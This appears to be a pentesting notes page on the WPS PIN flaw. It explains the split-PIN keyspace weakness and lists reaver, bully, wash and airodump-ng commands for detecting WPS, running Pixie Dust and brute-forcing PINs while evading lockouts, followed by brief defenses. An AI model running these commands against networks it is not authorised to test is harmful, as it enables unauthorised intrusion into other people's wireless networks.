WPS - Wi-Fi Protected Setup

WPS is a convenience feature that lets devices join a network without entering the full Wi-Fi password. It uses an 8-digit PIN or a push-button method. The PIN implementation has a fundamental flaw discovered by Stefan Viehböck in 2011 — it can be brute-forced in under 4 hours, sometimes minutes.

The Vulnerability

The WPS PIN is validated in two halves. The router confirms whether the first 4 digits are correct before checking the second 4. This reduces the keyspace from 10^8 (100 million) to 10^4 + 10^4 (20,000) combinations. Add in the last digit being a checksum and you get ~11,000 effective guesses max.

WPS Attack Methods

Check if WPS is Enabled

# With wash (comes with reaver)
wash -i wlan0mon

# With airodump-ng (look for WPS column)
airodump-ng wlan0mon

# With nmap
nmap -sV --script=broadcast-wps-info

Pixie Dust Attack (Best Method)

# Put interface in monitor mode first
airmon-ng start wlan0

# Run Pixie Dust - fastest, works offline against vulnerable routers
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vv

# With bully
bully wlan0mon -b AA:BB:CC:DD:EE:FF -d -v 3

Standard PIN Brute Force

# Basic reaver attack
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

# With delays to avoid lockouts
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -d 10 -r 3:15 -vv

# Resume a session
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -s session.sav

Airgeddon for WPS

Airgeddon wraps all this in a menu-driven interface — see airgeddon-wps-attack for WPS-specific workflow.

Defenses

• Disable WPS entirely (some routers have buggy WPS that can't be truly disabled)
• Enable WPS lockout after failed attempts
• Use WPA3 which doesn't support WPS

Sub-topics

• null-pin - Null PIN attack details
• airgeddon-wps-attack - Airgeddon WPS attacks